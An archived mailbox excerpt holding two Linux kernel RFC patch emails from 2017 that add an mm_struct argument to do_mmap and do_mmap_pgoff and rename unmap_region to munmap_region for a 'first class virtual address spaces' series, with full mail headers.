X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 13 Mar 2017 22:14:38 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org,
	linux-alpha@vger.kernel.org,
	linux-snps-arc@lists.infradead.org,
	linux-arm-kernel@lists.infradead.org,
	adi-buildroot-devel@lists.sourceforge.net,
	linux-hexagon@vger.kernel.org,
	linux-ia64@vger.kernel.org,
	linux-metag@vger.kernel.org,
	linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org,
	linux-s390@vger.kernel.org,
	linux-sh@vger.kernel.org,
	sparclinux@vger.kernel.org,
	linux-xtensa@linux-xtensa.org,
	linux-media@vger.kernel.org,
	linux-mtd@lists.infradead.org,
	linux-usb@vger.kernel.org,
	linux-fsdevel@vger.kernel.org,
	linux-aio@kvack.org,
	linux-mm@kvack.org,
	linux-api@vger.kernel.org,
	linux-arch@vger.kernel.org,
	alsa-devel@alsa-project.org
To: Richard Henderson <rth@twiddle.net>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	Matt Turner <mattst88@gmail.com>,
	Vineet Gupta <vgupta@synopsys.com>,
	Russell King <linux@armlinux.org.uk>,
	Catalin Marinas <catalin.marinas@arm.com>,
	Will Deacon <will.deacon@arm.com>,
	Steven Miao <realmz6@gmail.com>,
	Richard Kuo <rkuo@codeaurora.org>,
	Tony Luck <tony.luck@intel.com>,
	Fenghua Yu <fenghua.yu@intel.com>,
	James Hogan <james.hogan@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Paul Mackerras <paulus@samba.org>,
	Michael Ellerman <mpe@ellerman.id.au>,
	Martin Schwidefsky <schwidefsky@de.ibm.com>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Yoshinori Sato <ysato@users.sourceforge.jp>,
	Rich Felker <dalias@libc.org>,
	"David S. Miller" <davem@dave
Original-X-From: owner-linux-mm@kvack.org Mon Mar 13 23:14:28 2017
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1cnYES-0005En-1r
	for glkm-linux-mm-2@m.gmane.org; Mon, 13 Mar 2017 23:14:24 +0100
Original-Received: by kanga.kvack.org (Postfix)
	id 23DFC6B038D; Mon, 13 Mar 2017 18:14:29 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 1C7C16B0391; Mon, 13 Mar 2017 18:14:29 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
X-Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id F0BF06B038D; Mon, 13 Mar 2017 18:14:28 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
X-Delivered-To: linux-mm@kvack.org
Original-Received: from mail-wm0-f69.google.com (mail-wm0-f69.google.com [74.125.82.69])
	by kanga.kvack.org (Postfix) with ESMTP id 8033D6B0390
	for <linux-mm@kvack.org>; Mon, 13 Mar 2017 18:14:28 -0400 (EDT)
Original-Received: by mail-wm0-f69.google.com with SMTP id h188so15933384wma.4
        for <linux-mm@kvack.org>; Mon, 13 Mar 2017 15:14:28 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:dkim-signature:from:to:cc:subject:date
         :message-id:in-reply-to:references;
        bh=S0upfSdZufs1E8OQBrpOcxd5FLskulElvUhgO1Wl3wU=;
        b=PCDhLSgDl5TdCP/8a7nOWQTYJ4abJyIDYdUAxw5q4aNUBocEnRCoieh+H9CSm8Gdl3
         OxAbnm1JW1snZ00eE5aN/Xmt6G1m9rqoPHzmH5RteQSp8G0thXWZTX1K8LwVqkZs6n01
         tihhAFkht1Luj3o+74w5E+eWUajvUA4ubeay9Ulaot4U0f0lD1EB5px4m4qROAXL0vWs
         jUZOcMINfNdCNUi92ZmCSAjFbbfOZn+gboAkZYxWybHwi911Jq5wmAeOk/+k/f4JKmXc
         Dl5spyOGkUFqI3ZdxGKNIqLaCumyWNvRfdW2to7NHfZ+uCqw1AfLAqmWkvOY+iyrO6xC
         1h5Q==
X-Gm-Message-State: AFeK/H1652ZpRcWw0OXPkjv4aQT3Lcz7abkQ7YaEHFjQrHBoG9rTeVTHG7bdc3N17VwJKyxAvc47eEtMlJATU0E0Pn1AdPNydtlYJohCgU8GhzOjiuVdqZ5mqXuWL1mYqf4pV8xJBZjCVm339RlQsHLeBBulWYWkF8crEaomixdHjZoSCuKxNNpA/1LzTcjW/tPDTR9ciPEHa74YvnLPgvNCDDPVgpBgZlYDlGW/Uti1TRKXuReyLZj8M71JNB/PJFF3FUZXJRc/c/0xbJBBPTcemJSmj9PLx94WoU6Q2Wk4RkNClQ==
X-Received: by 10.28.210.212 with SMTP id j203mr11402165wmg.93.1489443268074;
        Mon, 13 Mar 2017 15:14:28 -0700 (PDT)
X-Received: by 10.28.210.212 with SMTP id j203mr11402140wmg.93.1489443267209;
        Mon, 13 Mar 2017 15:14:27 -0700 (PDT)
Original-Received: from mail-wm0-x241.google.com (mail-wm0-x241.google.com. [2a00:1450:400c:c09::241])
        by mx.google.com with ESMTPS id 124si12520773wmc.106.2017.03.13.15.14.26
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Mon, 13 Mar 2017 15:14:27 -0700 (PDT)
Received-SPF: pass (google.com: domain of till.smejkal@googlemail.com designates 2a00:1450:400c:c09::241 as permitted sender) client-ip=2a00:1450:400c:c09::241;
Authentication-Results: mx.google.com;
       dkim=pass header.i=@googlemail.com;
       spf=pass (google.com: domain of till.smejkal@googlemail.com designates 2a00:1450:400c:c09::241 as permitted sender) smtp.mailfrom=till.smejkal@googlemail.com;
       dmarc=pass (p=QUARANTINE sp=QUARANTINE dis=NONE) header.from=googlemail.com
Original-Received: by mail-wm0-x241.google.com with SMTP id v190so12125937wme.3;
        Mon, 13 Mar 2017 15:14:26 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=googlemail.com; s=20161025;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=S0upfSdZufs1E8OQBrpOcxd5FLskulElvUhgO1Wl3wU=;
        b=jCXgItCCNfcmySMt1lzfCoLn7OmnJyWkm3cFsRYC2K8Ij9+56VoOhMDBHnNudHZFb+
         FM31o9mmQYMtWqyjd5aF2lz1B83kwkUc57uo2NqTlMRN2gmxZKyT1AX8wmomL8DHu+gQ
         wKLtXB4/StVo+nbdmgFrVt5lLwHCdEDFtPxLbZu5km46xqrUGcpp2cGVDxWEXbnQ7/1V
         DihZ8qpJw8yC4a6ixN4YTJYq5p4Ifc2uhLSMcgW5+xL5FIkwn8I8oeCHwyNntS1CWqtH
         rZqPvsyyF4ZTAgdVhzqFWfbSuc5uNI9/FSsIUsbc0l4fnDTjlTywa3JrI9SwT9jdTeXc
         DWtQ==
X-Received: by 10.28.203.204 with SMTP id b195mr12636968wmg.51.1489443266680;
        Mon, 13 Mar 2017 15:14:26 -0700 (PDT)
Original-Received: from localhost (login1.zih.tu-dresden.de. [141.76.16.140])
        by smtp.googlemail.com with ESMTPSA id k8sm26453956wre.19.2017.03.13.15.14.25
        (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
        Mon, 13 Mar 2017 15:14:26 -0700 (PDT)
X-Google-Original-From: Till Smejkal <till.smejkal@gmail.com>
X-Mailer: git-send-email 2.12.0
In-Reply-To: <20170313221415.9375-1-till.smejkal@gmail.com>
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:168260 gmane.linux.kernel:2431233 gmane.linux.ports.alpha:4123 gmane.linux.kernel.arc:2212 gmane.linux.ports.arm.kernel:564747 gmane.linux.ports.hexagon:1148 gmane.linux.ports.ia64:27687 gmane.linux.kernel.metag:1257 gmane.linux.ports.mips.general:58333 gmane.linux.ports.parisc:27315 gmane.linux.ports.ppc64.devel:139526 gmane.linux.ports.sh.devel:55121 gmane.linux.ports.sparc:24718 gmane.linux.drivers.video-input-infrastructure:114741 gmane.linux.drivers.mtd:72532 gmane.linux.usb.general:156108 gmane.linux.file-systems:119078 gmane.linux.kernel.aio.general:4937 gmane.linux.kernel.api:22519 gmane.linux.kernel.cross-arch:35527 gmane.linux.alsa.devel:165305
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/168260>

Add to the 'do_mmap' and 'do_mmap_pgoff' functions the mm_struct they
should operate on as additional argument. Before, both functions simply
used the memory map of the current task. However, with the introduction of
first class virtual address spaces, these functions also need to be usable
for other memory maps than just the one of the current process. Hence,
explicitly define during the function call which memory map to use.

Signed-off-by: Till Smejkal <till.smejkal@gmail.com>
---
 arch/x86/mm/mpx.c  |  4 ++--
 fs/aio.c           |  4 ++--
 include/linux/mm.h | 11 ++++++-----
 ipc/shm.c          |  3 ++-
 mm/mmap.c          | 16 ++++++++--------
 mm/nommu.c         |  7 ++++---
 mm/util.c          |  2 +-
 7 files changed, 25 insertions(+), 22 deletions(-)

diff --git a/arch/x86/mm/mpx.c b/arch/x86/mm/mpx.c
index af59f808742f..99c664a97c35 100644
--- a/arch/x86/mm/mpx.c
+++ b/arch/x86/mm/mpx.c
@@ -50,8 +50,8 @@ static unsigned long mpx_mmap(unsigned long len)
 		return -EINVAL;
 
 	down_write(&mm->mmap_sem);
-	addr = do_mmap(NULL, 0, len, PROT_READ | PROT_WRITE,
-			MAP_ANONYMOUS | MAP_PRIVATE, VM_MPX, 0, &populate);
+	addr = do_mmap(mm, NULL, 0, len, PROT_READ | PROT_WRITE,
+		       MAP_ANONYMOUS | MAP_PRIVATE, VM_MPX, 0, &populate);
 	up_write(&mm->mmap_sem);
 	if (populate)
 		mm_populate(addr, populate);
diff --git a/fs/aio.c b/fs/aio.c
index 873b4ca82ccb..df9bba5a2aff 100644
--- a/fs/aio.c
+++ b/fs/aio.c
@@ -510,8 +510,8 @@ static int aio_setup_ring(struct kioctx *ctx)
 		return -EINTR;
 	}
 
-	ctx->mmap_base = do_mmap_pgoff(ctx->aio_ring_file, 0, ctx->mmap_size,
-				       PROT_READ | PROT_WRITE,
+	ctx->mmap_base = do_mmap_pgoff(current->mm, ctx->aio_ring_file, 0,
+				       ctx->mmap_size, PROT_READ | PROT_WRITE,
 				       MAP_SHARED, 0, &unused);
 	up_write(&mm->mmap_sem);
 	if (IS_ERR((void *)ctx->mmap_base)) {
diff --git a/include/linux/mm.h b/include/linux/mm.h
index fa483d2ff3eb..fb11be77545f 100644
--- a/include/linux/mm.h
+++ b/include/linux/mm.h
@@ -2019,17 +2019,18 @@ extern unsigned long get_unmapped_area(struct file *, unsigned long, unsigned lo
 extern unsigned long mmap_region(struct mm_struct *mm, struct file *file,
 				 unsigned long addr, unsigned long len,
 				 vm_flags_t vm_flags, unsigned long pgoff);
-extern unsigned long do_mmap(struct file *file, unsigned long addr,
-	unsigned long len, unsigned long prot, unsigned long flags,
-	vm_flags_t vm_flags, unsigned long pgoff, unsigned long *populate);
+extern unsigned long do_mmap(struct mm_struct *mm, struct file *file,
+	unsigned long addr, unsigned long len, unsigned long prot,
+	unsigned long flags, vm_flags_t vm_flags, unsigned long pgoff,
+	unsigned long *populate);
 extern int do_munmap(struct mm_struct *, unsigned long, size_t);
 
 static inline unsigned long
-do_mmap_pgoff(struct file *file, unsigned long addr,
+do_mmap_pgoff(struct mm_struct *mm, struct file *file, unsigned long addr,
 	unsigned long len, unsigned long prot, unsigned long flags,
 	unsigned long pgoff, unsigned long *populate)
 {
-	return do_mmap(file, addr, len, prot, flags, 0, pgoff, populate);
+	return do_mmap(mm, file, addr, len, prot, flags, 0, pgoff, populate);
 }
 
 #ifdef CONFIG_MMU
diff --git a/ipc/shm.c b/ipc/shm.c
index 81203e8ba013..64c21fb32ca9 100644
--- a/ipc/shm.c
+++ b/ipc/shm.c
@@ -1222,7 +1222,8 @@ long do_shmat(int shmid, char __user *shmaddr, int shmflg, ulong *raddr,
 			goto invalid;
 	}
 
-	addr = do_mmap_pgoff(file, addr, size, prot, flags, 0, &populate);
+	addr = do_mmap_pgoff(mm, file, addr, size, prot, flags, 0,
+			     &populate);
 	*raddr = addr;
 	err = 0;
 	if (IS_ERR_VALUE(addr))
diff --git a/mm/mmap.c b/mm/mmap.c
index 5ac276ac9807..70028bf7b58d 100644
--- a/mm/mmap.c
+++ b/mm/mmap.c
@@ -1299,14 +1299,14 @@ static inline int mlock_future_check(struct mm_struct *mm,
 }
 
 /*
- * The caller must hold down_write(&current->mm->mmap_sem).
+ * The caller must hold down_write(&mm->mmap_sem).
  */
-unsigned long do_mmap(struct file *file, unsigned long addr,
-			unsigned long len, unsigned long prot,
-			unsigned long flags, vm_flags_t vm_flags,
-			unsigned long pgoff, unsigned long *populate)
+unsigned long do_mmap(struct mm_struct *mm, struct file *file,
+		      unsigned long addr, unsigned long len,
+		      unsigned long prot, unsigned long flags,
+		      vm_flags_t vm_flags, unsigned long pgoff,
+		      unsigned long *populate)
 {
-	struct mm_struct *mm = current->mm;
 	int pkey = 0;
 
 	*populate = 0;
@@ -2779,8 +2779,8 @@ SYSCALL_DEFINE5(remap_file_pages, unsigned long, start, unsigned long, size,
 	}
 
 	file = get_file(vma->vm_file);
-	ret = do_mmap_pgoff(vma->vm_file, start, size,
-			prot, flags, pgoff, &populate);
+	ret = do_mmap_pgoff(mm, vma->vm_file, start, size,
+			    prot, flags, pgoff, &populate);
 	fput(file);
 out:
 	up_write(&mm->mmap_sem);
diff --git a/mm/nommu.c b/mm/nommu.c
index 24f9f5f39145..54825d29f50b 100644
--- a/mm/nommu.c
+++ b/mm/nommu.c
@@ -1198,7 +1198,8 @@ static int do_mmap_private(struct vm_area_struct *vma,
 /*
  * handle mapping creation for uClinux
  */
-unsigned long do_mmap(struct file *file,
+unsigned long do_mmap(struct mm_struct *mm,
+			struct file *file,
 			unsigned long addr,
 			unsigned long len,
 			unsigned long prot,
@@ -1375,10 +1376,10 @@ unsigned long do_mmap(struct file *file,
 	/* okay... we have a mapping; now we have to register it */
 	result = vma->vm_start;
 
-	current->mm->total_vm += len >> PAGE_SHIFT;
+	mm->total_vm += len >> PAGE_SHIFT;
 
 share:
-	add_vma_to_mm(current->mm, vma);
+	add_vma_to_mm(mm, vma);
 
 	/* we flush the region from the icache only when the first executable
 	 * mapping of it is made  */
diff --git a/mm/util.c b/mm/util.c
index 3cb2164f4099..46d05eef9a6b 100644
--- a/mm/util.c
+++ b/mm/util.c
@@ -302,7 +302,7 @@ unsigned long vm_mmap_pgoff(struct file *file, unsigned long addr,
 	if (!ret) {
 		if (down_write_killable(&mm->mmap_sem))
 			return -EINTR;
-		ret = do_mmap_pgoff(file, addr, len, prot, flag, pgoff,
+		ret = do_mmap_pgoff(mm, file, addr, len, prot, flag, pgoff,
 				    &populate);
 		up_write(&mm->mmap_sem);
 		if (populate)
-- 
2.12.0

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:39:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Till Smejkal <till.smejkal@googlemail.com>
Newsgroups: gmane.linux.kernel.aio.general,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.drivers.video-input-infrastructure,gmane.linux.drivers.mtd,gmane.linux.usb.general,gmane.linux.file-systems,gmane.linux.kernel.mm,gmane.linux.kernel.api,gmane.linux.kernel.cross-arch,gmane.linux.alsa.devel
Subject: [RFC PATCH 03/13] mm: Rename 'unmap_region' and add mm_struct argument
Date: Mon, 13 Mar 2017 15:14:05 -0700
Lines: 89
Approved: news@gmane.org
Message-ID: <20170313221415.9375-4-till.smejkal@gmail.com>
References: <20170313221415.9375-1-till.smejkal@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1489443278 24704 195.159.176.226 (13 Mar 2017 22:14:38 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 13 Mar 2017 22:14:38 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org,
	linux-alpha@vger.kernel.org,
	linux-snps-arc@lists.infradead.org,
	linux-arm-kernel@lists.infradead.org,
	adi-buildroot-devel@lists.sourceforge.net,
	linux-hexagon@vger.kernel.org,
	linux-ia64@vger.kernel.org,
	linux-metag@vger.kernel.org,
	linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org,
	linux-s390@vger.kernel.org,
	linux-sh@vger.kernel.org,
	sparclinux@vger.kernel.org,
	linux-xtensa@linux-xtensa.org,
	linux-media@vger.kernel.org,
	linux-mtd@lists.infradead.org,
	linux-usb@vger.kernel.org,
	linux-fsdevel@vger.kernel.org,
	linux-aio@kvack.org,
	linux-mm@kvack.org,
	linux-api@vger.kernel.org,
	linux-arch@vger.kernel.org,
	alsa-devel@alsa-project.org
To: Richard Henderson <rth@twiddle.net>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	Matt Turner <mattst88@gmail.com>,
	Vineet Gupta <vgupta@synopsys.com>,
	Russell King <linux@armlinux.org.uk>,
	Catalin Marinas <catalin.marinas@arm.com>,
	Will Deacon <will.deacon@arm.com>,
	Steven Miao <realmz6@gmail.com>,
	Richard Kuo <rkuo@codeaurora.org>,
	Tony Luck <tony.luck@intel.com>,
	Fenghua Yu <fenghua.yu@intel.com>,
	James Hogan <james.hogan@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Paul Mackerras <paulus@samba.org>,
	Michael Ellerman <mpe@ellerman.id.au>,
	Martin Schwidefsky <schwidefsky@de.ibm.com>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Yoshinori Sato <ysato@users.sourceforge.jp>,
	Rich Felker <dalias@libc.org>,
	"David S. Miller" <davem@dave
Original-X-From: owner-linux-aio@kvack.org Mon Mar 13 23:14:27 2017
Return-path: <owner-linux-aio@kvack.org>
Envelope-to: gla-linux-aio@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <owner-linux-aio@kvack.org>)
	id 1cnYEU-0005Rf-6T
	for gla-linux-aio@m.gmane.org; Mon, 13 Mar 2017 23:14:26 +0100
Original-Received: by kanga.kvack.org (Postfix)
	id 576146B0391; Mon, 13 Mar 2017 18:14:32 -0400 (EDT)
Delivered-To: linux-aio-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 504346B0392; Mon, 13 Mar 2017 18:14:32 -0400 (EDT)
X-Original-To: int-list-linux-aio@kvack.org
X-Delivered-To: int-list-linux-aio@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 34FD66B0395; Mon, 13 Mar 2017 18:14:32 -0400 (EDT)
X-Original-To: linux-aio@kvack.org
X-Delivered-To: linux-aio@kvack.org
Original-Received: from mail-wr0-f198.google.com (mail-wr0-f198.google.com [209.85.128.198])
	by kanga.kvack.org (Postfix) with ESMTP id C3CE96B0391
	for <linux-aio@kvack.org>; Mon, 13 Mar 2017 18:14:31 -0400 (EDT)
Original-Received: by mail-wr0-f198.google.com with SMTP id y51so47504108wry.6
        for <linux-aio@kvack.org>; Mon, 13 Mar 2017 15:14:31 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:dkim-signature:from:to:cc:subject:date
         :message-id:in-reply-to:references;
        bh=MuWNNuk3vxLpp54L6i+g8NdgOGb/dhWpwMswypTTuV0=;
        b=LFP51HguVoixZ/JNJIIM7DwoTsGuyHnXKpXVmHdXOHcKa7NOc+OZY6flMGXjTNuwmK
         hLmtmR6mm0ybIIXbCvVQTgz7aEV1PGqGfEm6unTjG+9O8RAbA1itT12WZw66f/gT8QCY
         31dD+8DKHKyaRyyLiBQCS/20CcTwDjoOU3rqpUxfk9wiT7gs5qvBM4+IzBw8mLFGyh2t
         mw+x25JLd1fK3cg/K0WLbWd74+hcAKX69pRxYcc6QDNh+E3wsOVeelY0xZp9x8CX73Ti
         8ctA4OyThY1wahwSfVn46ZvBsa4oRLC/7+bdHIrDnfuoYn/+FXzcjMHqo6cLQIm15P4f
         RHMw==
X-Gm-Message-State: AFeK/H0OXRtFvWQ1b8fnrczd0U3T3vVNOGqw2AIB0uu/eyUyRpIlTASNHe4mKQ9c/yNTS4V/Sdd0IzH/4zIHgGrs0C7SAseP6iZFZ2oX4VhAvH2gn3eXgOqKsv/Ba6b6VdNCa2XCnHLU72DGcr+Us+2FqiU5ES5LIXiH4t0vBXYIWA2flXCZr4Vqm4js8/IqYWkY03RJFro1WUSyo/clEFA1MUjXy8vDlTW/Kux+Ef4WxBNYo5Cefr4535mEfqRWfiYdrkUuyefePFke2WP+TIILGZn5guTQruWTU5lPBg1W+6mNoaDA9oY=
X-Received: by 10.28.203.197 with SMTP id b188mr12780031wmg.110.1489443271358;
        Mon, 13 Mar 2017 15:14:31 -0700 (PDT)
X-Received: by 10.28.203.197 with SMTP id b188mr12780012wmg.110.1489443270745;
        Mon, 13 Mar 2017 15:14:30 -0700 (PDT)
Original-Received: from mail-wm0-x243.google.com (mail-wm0-x243.google.com. [2a00:1450:400c:c09::243])
        by mx.google.com with ESMTPS id u4si2325695wrb.59.2017.03.13.15.14.30
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Mon, 13 Mar 2017 15:14:30 -0700 (PDT)
Received-SPF: pass (google.com: domain of till.smejkal@googlemail.com designates 2a00:1450:400c:c09::243 as permitted sender) client-ip=2a00:1450:400c:c09::243;
Authentication-Results: mx.google.com;
       dkim=pass header.i=@googlemail.com;
       spf=pass (google.com: domain of till.smejkal@googlemail.com designates 2a00:1450:400c:c09::243 as permitted sender) smtp.mailfrom=till.smejkal@googlemail.com;
       dmarc=pass (p=QUARANTINE sp=QUARANTINE dis=NONE) header.from=googlemail.com
Original-Received: by mail-wm0-x243.google.com with SMTP id u132so12115012wmg.1;
        Mon, 13 Mar 2017 15:14:30 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=googlemail.com; s=20161025;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=MuWNNuk3vxLpp54L6i+g8NdgOGb/dhWpwMswypTTuV0=;
        b=Sbc5FX0fwRxSmjxoI2AYNY6jCdAlnKBBPQIIh7vJluPM2Z7sK4GhVIGpo9pUxLeZt0
         OVKcYUC6U+H2P6UbB5ANhubIcMw3ArLged7kMbVeNjh+WDxAgwUPJfGwwWXl3Ikmdk4R
         kTg2mxRBFdRwY3dIYJLpWQof2BSOkNj27QvdCo12cFVyynWAXKqduDbfj+bx8xRNLkvy
         29Z7+X9HETkiZZrcW0x1bXRyXT+rctMYlunEj6i9JmqizEad4uSemTvMH7aZ2s4JsFPj
         bDb6Hb5+4sWXl/kZY6rR3pBmdrg6Fv43BPkDaMJ/plzzzwtA0HqA+eJKX1m3NsBmB+Ix
         HqZQ==
X-Received: by 10.28.69.202 with SMTP id l71mr12714512wmi.68.1489443270117;
        Mon, 13 Mar 2017 15:14:30 -0700 (PDT)
Original-Received: from localhost (login1.zih.tu-dresden.de. [141.76.16.140])
        by smtp.googlemail.com with ESMTPSA id z88sm26694011wrb.26.2017.03.13.15.14.28
        (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
        Mon, 13 Mar 2017 15:14:29 -0700 (PDT)
X-Google-Original-From: Till Smejkal <till.smejkal@gmail.com>
X-Mailer: git-send-email 2.12.0
In-Reply-To: <20170313221415.9375-1-till.smejkal@gmail.com>
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-aio@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-aio.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.aio.general:4938 gmane.linux.kernel:2431234 gmane.linux.ports.alpha:4124 gmane.linux.kernel.arc:2213 gmane.linux.ports.arm.kernel:564748 gmane.linux.ports.hexagon:1149 gmane.linux.ports.ia64:27688 gmane.linux.kernel.metag:1258 gmane.linux.ports.mips.general:58334 gmane.linux.ports.parisc:27316 gmane.linux.ports.ppc64.devel:139527 gmane.linux.ports.sh.devel:55122 gmane.linux.ports.sparc:24719 gmane.linux.drivers.video-input-infrastructure:114742 gmane.linux.drivers.mtd:72533 gmane.linux.usb.general:156109 gmane.linux.file-systems:119079 gmane.linux.kernel.mm:168261 gmane.linux.kernel.api:22520 gmane.linux.kernel.cross-arch:35528 gmane.linux.alsa.devel:165306
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.aio.general/4938>

Rename the 'unmap_region' function to 'munmap_region' so that it uses the
same naming pattern as the do_mmap <-> mmap_region couple. In addition
also make the new 'munmap_region' function publicly available to all other
kernel sources.

In addition, also add to the function the mm_struct it should operate on
as additional argument. Before, the function simply used the memory map of
the current task. However, with the introduction of first class virtual
address spaces, munmap_region need also be able to operate on other memory
maps than just the current task's one. Accordingly, add a new argument to
the function so that one can define explicitly which memory map should be
used.

Signed-off-by: Till Smejkal <till.smejkal@gmail.com>
---
 include/linux/mm.h |  4 ++++
 mm/mmap.c          | 14 +++++---------
 2 files changed, 9 insertions(+), 9 deletions(-)

diff --git a/include/linux/mm.h b/include/linux/mm.h
index fb11be77545f..71a90604d21f 100644
--- a/include/linux/mm.h
+++ b/include/linux/mm.h
@@ -2023,6 +2023,10 @@ extern unsigned long do_mmap(struct mm_struct *mm, struct file *file,
 	unsigned long addr, unsigned long len, unsigned long prot,
 	unsigned long flags, vm_flags_t vm_flags, unsigned long pgoff,
 	unsigned long *populate);
+
+extern void munmap_region(struct mm_struct *mm, struct vm_area_struct *vma,
+			  struct vm_area_struct *prev, unsigned long start,
+			  unsigned long end);
 extern int do_munmap(struct mm_struct *, unsigned long, size_t);
 
 static inline unsigned long
diff --git a/mm/mmap.c b/mm/mmap.c
index 70028bf7b58d..ea79bc4da5b7 100644
--- a/mm/mmap.c
+++ b/mm/mmap.c
@@ -70,10 +70,6 @@ int mmap_rnd_compat_bits __read_mostly = CONFIG_ARCH_MMAP_RND_COMPAT_BITS;
 static bool ignore_rlimit_data;
 core_param(ignore_rlimit_data, ignore_rlimit_data, bool, 0644);
 
-static void unmap_region(struct mm_struct *mm,
-		struct vm_area_struct *vma, struct vm_area_struct *prev,
-		unsigned long start, unsigned long end);
-
 /* description of effects of mapping type and prot in current implementation.
  * this is due to the limited x86 page protection hardware.  The expected
  * behavior is in parens:
@@ -1731,7 +1727,7 @@ unsigned long mmap_region(struct mm_struct *mm, struct file *file,
 	fput(file);
 
 	/* Undo any partial mapping done by a device driver. */
-	unmap_region(mm, vma, prev, vma->vm_start, vma->vm_end);
+	munmap_region(mm, vma, prev, vma->vm_start, vma->vm_end);
 	charged = 0;
 	if (vm_flags & VM_SHARED)
 		mapping_unmap_writable(file->f_mapping);
@@ -2447,9 +2443,9 @@ static void remove_vma_list(struct mm_struct *mm, struct vm_area_struct *vma)
  *
  * Called with the mm semaphore held.
  */
-static void unmap_region(struct mm_struct *mm,
-		struct vm_area_struct *vma, struct vm_area_struct *prev,
-		unsigned long start, unsigned long end)
+void munmap_region(struct mm_struct *mm, struct vm_area_struct *vma,
+		struct vm_area_struct *prev, unsigned long start,
+		unsigned long end)
 {
 	struct vm_area_struct *next = prev ? prev->vm_next : mm->mmap;
 	struct mmu_gather tlb;
@@ -2654,7 +2650,7 @@ int do_munmap(struct mm_struct *mm, unsigned long start, size_t len)
 	 * Remove the vma's, and unmap the actual pages
 	 */
 	detach_vmas_to_be_unmapped(mm, vma, prev, end);
-	unmap_region(mm, vma, prev, start, end);
+	munmap_region(mm, vma, prev, start, end);
 
 	arch_unmap(mm, vma, start, end);
 
-- 
2.12.0

--
To unsubscribe, send a message with 'unsubscribe linux-aio' in
the body to majordomo@kvack.org.  For more info on Linux AIO,
see: http://www.kvack.org/aio/
Don't email: <a href=mailto:"aart@kvack.org">aart@kvack.org</a>


From - Thu Nov 08 21:39:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Till Smejkal <till.smejkal@googlemail.com>
